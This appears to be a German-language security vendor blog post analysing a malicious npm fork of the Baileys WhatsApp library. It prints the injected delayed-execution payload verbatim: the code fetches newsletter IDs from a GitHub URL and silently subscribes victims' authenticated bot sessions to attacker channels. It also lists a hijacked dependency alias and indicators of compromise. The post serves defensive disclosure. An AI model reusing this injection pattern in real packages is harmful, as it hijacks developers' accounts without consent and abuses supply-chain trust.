TL; DR
Die Xygeni Sicherheitsforschungsteam identifiziert a bösartiges npm-Paket, @dappaoffc/baileys-mod, veröffentlicht als Abspaltung der weit verbreiteten WhatsApp Web API-Bibliothek @whiskeysockets/baileys.
Ab Version 8.0.1 enthält dieses schädliche npm-Paket eine Laufzeit-Code-Injektion. lib/Socket/newsletter.jsDie eingeschleuste Logik abonniert im Hintergrund die authentifizierte WhatsApp-Bot-Sitzung des Entwicklers für vom Angreifer kontrollierte Newsletter-Kanäle.
Die Payload wird 80 Sekunden nach dem Laden des Moduls aktiviert und ruft ihre Zielliste dynamisch von GitHub ab, wodurch sich das Verhalten selbst aktualisiert und durch eine Analyse zur Installationszeit schwer zu erkennen ist.
Technische Übersicht
Bei der routinemäßigen Überwachung neu veröffentlichter Abhängigkeiten entdeckte das Xygeni Security Research Team anomales Verhalten in @dappaoffc/baileys-mod, später bestätigt als bösartiges npm-Paket mit dem Ziel, das WhatsApp-Bot-Ökosystem zu nutzen.
Anders als Würmer, die Anmeldeinformationen stehlen, oder Ransomware-Dropper missbraucht dieses bösartige npm-Paket das Vertrauensverhältnis zwischen einem Entwickler und einer häufig abgespaltenen Open-Source-Bibliothek.
Das Paket präsentiert sich als eine modifizierte Version von BaileysEine beliebte WhatsApp-Web-API-Implementierung, die häufig zum Erstellen von Automatisierungs-Bots verwendet wird. Innerhalb dieses Ökosystems ist die Installation von Forks gängige Praxis. Folglich nutzte der Angreifer ein realistisches Verbreitungsmodell, anstatt eine Sicherheitslücke auszunutzen.
Wichtig:
- Die Das Vorinstallationsskript validiert lediglich die Node.js-Version.
- Bei der Installation findet kein Datenabfluss statt.
- Es sind keine verdächtigen Aktivitäten nach der Installation erkennbar.
- Die Injektion wird ausschließlich zur Laufzeit ausgeführt.
Aufgrund dieser Konstruktion würden Scanner, die zur Installationszeit laufen, schädliches Verhalten nicht erkennen.
Laufzeit-Injektionsmechanismus innerhalb des bösartigen npm-Pakets
Die bösartige Logik innerhalb dieses bösartigen npm-Pakets befindet sich in lib/Socket/newsletter.js, direkt in den Ausführungskontext des Moduls eingebettet.
Der Angreifer verpackte den eingeschleusten Block in einen IMMEDIATE INVOKED Function Expression (IIFE), der die Ausführung garantiert, sobald das Modul geladen wird.
Anstatt jedoch sofort ausgelöst zu werden, führt die Nutzlast einen verzögerten Ausführungsmechanismus ein:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()Nach Ablauf der Verzögerung führt die Nutzlast eine kontrollierte Sequenz aus:
- Holt ein JSON Datei von einer GitHub-Rohinhalts-URL.
- Analysiert eine Liste von WhatsApp-Newsletter-IDs.
- Durchläuft die Liste.
- Aufrufe
newsletterWMexQuery(id, QueryIds.FOLLOW)für jeden Eintrag. - Um die Erkennung von Ratenbegrenzungen zu reduzieren, werden die Anfragen im Abstand von fünf Sekunden gestellt.
- Unterdrückt stillschweigend alle Laufzeitfehler.
Da der Code interne Bibliotheksfunktionen anstatt externer Skripte aufruft, ist der resultierende Datenverkehr von legitimen, vom Benutzer initiierten Aktionen nicht zu unterscheiden. WhatsApp's Aus protokolltechnischer Sicht hat der Bot diese Kanäle freiwillig abonniert.
Technischer Vergleich: Legitimes vs. manipuliertes Verhalten
| Komponente | Legitimes Verhalten | Bösartige Einschleusung |
|---|---|---|
| Installationsphase | Prüft nur die Node.js-Version. | Zum Zeitpunkt der Installation waren keine schädlichen Verhaltensweisen erkennbar. |
| Modulinitialisierung | WhatsApp-Sockelfabrik exportiert | IIFE wird beim Laden des Moduls automatisch ausgeführt. |
| Ausführungszeitpunkt | Kein verzögertes Verhalten | 80 Sekunden verzögerte Aktivierung |
| Netzwerk-Kommunikation | Die Kommunikation erfolgt ausschließlich über das WhatsApp-WebSocket-Protokoll. | Ausgehender Abruf von Rohinhalten an GitHub (dynamischer Steuerungskanal) |
| Newsletter-Aktionen | Nutzerinitiierte Abonnementanfragen | Automatisierte FOLLOW-Anfragen über die interne Bibliotheks-API |
| Fehlerbehandlung | Verbreitet Betriebsfehler | Unterdrückt stillschweigend alle Ausnahmen |
Dynamischer Kontrollkanal über GitHub
Die Liste der Newsletter-IDs wird hier gehostet:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.jsonDiese Konstruktion bietet mehrere betriebliche Vorteile:
- Dynamische Payload-Aktualisierungen ohne Veröffentlichung einer neuen npm-Version
- Vertrauenswürdiger TLS-Endpunkt, der sich nahtlos in den normalen Entwicklerdatenverkehr einfügt.
- Keine vom Angreifer verwaltete Infrastruktur erforderlich
- Persistenz bei bereits eingesetzten Bots
Da die Injektion innerhalb des Factory-Scopes ausgeführt wird, werden interne Closures wie z. B. wiederverwendet. newsletterWMexQuery und delay ohne Import externer Module. Dies minimiert den Ressourcenbedarf und erhöht die Unauffälligkeit.
Im Grunde fungiert GitHub als schlanker Befehlsverteilungskanal.
Abhängigkeitsalias und Attributionssignale
Die Paketmetadaten enthalten den folgenden Abhängigkeitsalias:
"libsignal": "npm:@skyzopedia/libsignal-node"Dadurch wird eine kritische kryptografische Abhängigkeit in einen vom Angreifer kontrollierten npm-Bereich umgeleitet.
Darüber hinaus geben sich die Metadaten als das ursprüngliche Projekt aus, indem sie auf den ursprünglichen Autor und das Repository verweisen. Dies erhöht die wahrgenommene Legitimität und verringert die Wahrscheinlichkeit einer genauen Überprüfung bei einer flüchtigen Durchsicht.
Diese Signale deuten eher auf eine bewusste Vermischung der Ökosysteme hin als auf etwas anderes. opportunistische Manipulation.
Anzeichen für eine Kompromittierung dieses bösartigen npm-Pakets
Sicherheitsteams, die dieses bösartige npm-Paket untersuchen, sollten die folgenden Signale auswerten:
Netzwerksignale
- Ausgehende GET-Anfragen an
raw.githubusercontent.comvon WhatsApp-Bot-Prozessen - Newsletter-FOLLOW-Aktionen erfolgen ohne auslösende Anwendungslogik.
Paketsignale
@dappaoffc/baileys-modVersion 8.0.1 (und möglicherweise 8.0.0)- Umleitung von Abhängigkeitsaliasen
libsignal - Laufzeit IIFE-Einspritzung innen
newsletter.js
Verhaltenssignale
- FOLLOW-Anfragen im Abstand von fünf Sekunden
- Keine Nutzerinteraktion vor der Newsletter-Anmeldung
- Stille Fehlerunterdrückung im Kernbibliothekscode
Im Gegensatz zu herkömmlicher Malware erfordert dieser Angriff keine Ableitung von Anmeldeinformationen. Der Missbrauch erfolgt vollständig innerhalb eines bereits authentifizierten Sitzungskontexts.
Erkennung und Eindämmung mit Xygeni
Dieser Fall verdeutlicht, warum eine Überprüfung während der Installation allein nicht ausreicht. Das schädliche Verhalten wird nach dem Laden des Moduls ausgeführt und versteckt sich in legitimer Geschäftslogik.
Xygenis Malware-Frühwarnung (MEW) Dieses Paket wurde durch die Korrelation mehrerer Signale anstatt durch die Verwendung einer einzelnen Signatur erkannt.
Vollständige statische Quellanalyse
MEW untersucht vollständige Paketquellcodebäume, nicht nur Lebenszyklusskripte.
In diesem Fall umfassten die Detektionssignale Folgendes:
- Ein unerwartetes
fetch()Anruf innerhalb eines WhatsApp-Kernmoduls - Ausgehende Kommunikation mit GitHub-Rohinhalten
- Verzögerte Ausführungsmuster, die in die Laufzeitlogik eingebettet sind
- Verschachtelte stille Fehlerbehandlung
Einzeln betrachtet mögen diese Muster harmlos erscheinen. Eine kombinierte Analyse offenbart jedoch ein anomales Verhalten, das mit einer legitimen Baileys-Gabel unvereinbar ist.
Korrelation des Abhängigkeitsrisikos
Die libsignal Der Alias löste zusätzliche Überprüfungen aus, da er eine sensible Abhängigkeit in einen nicht verifizierten Gültigkeitsbereich umleitet.
Xygeni-Korrelate:
- Reputationssignale des Verlags
- Inkonsistenzen bei der Zuständigkeit für den Geltungsbereich
- Abhängigkeitsumleitung auf kryptografischen Bibliotheken
- Indikatoren für Metadaten-Identitätsdiebstahl
Diese mehrstufige Analyse reduziert Fehlalarme und deckt gleichzeitig Vertrauensmissbrauch auf.
Laufzeitbewusste Lieferkettensteuerung
Da dieses bösartige npm-Paket zur Laufzeit ausgeführt wird, erfordert eine wirksame Verteidigung eine verhaltensbasierte Analyse.
Xygeni wertet aus:
- Mechanismen zur verzögerten Ausführung
- Missbrauch der internen API
- Ausgehende Netzwerkaufrufe innerhalb von Abhängigkeitscode
- Anomaler Kontrollfluss innerhalb von Drittanbieterbibliotheken
Zusätzlich Guardrails Richtlinien in CI/CD können:
- Unerwartete ausgehende Anrufe während der Build-Phase blockieren
- Verdächtige Änderungen im Abhängigkeitsgraphen erkennen
- Beschränkungen für die Bereichsumleitung durchsetzen
- Muster zum Abrufen dynamischer Nutzdaten mit Flaggen
Daher beruht die Eindämmung nicht allein auf der Löschung von Einträgen aus dem Register.
Warum dieses bösartige npm-Paket für die Sicherheit der Lieferkette relevant ist
Dieses bösartige npm-Paket spiegelt einen strukturellen Wandel im Missbrauch von Lieferketten wider:
- Laufzeitausführung anstelle von Installationszeit-Payloads
- Dynamische Steuerungskanäle, die auf vertrauenswürdigen Plattformen gehostet werden.
- Missbrauch legitimer interner APIs
- Metadatenmanipulation zur Nachahmung der Upstream-Maintainer
Der Angreifer nutzte keine Software-Schwachstelle aus. Stattdessen missbrauchte er das Vertrauen in Forks und Abhängigkeitsaktualisierungen.
Folglich erfordert die Erkennung eine vollständige Quellcodeprüfung, eine Korrelation der Abhängigkeitsrisiken und eine laufzeitbewusste Analyse, nicht nur das Scannen von Skripten.
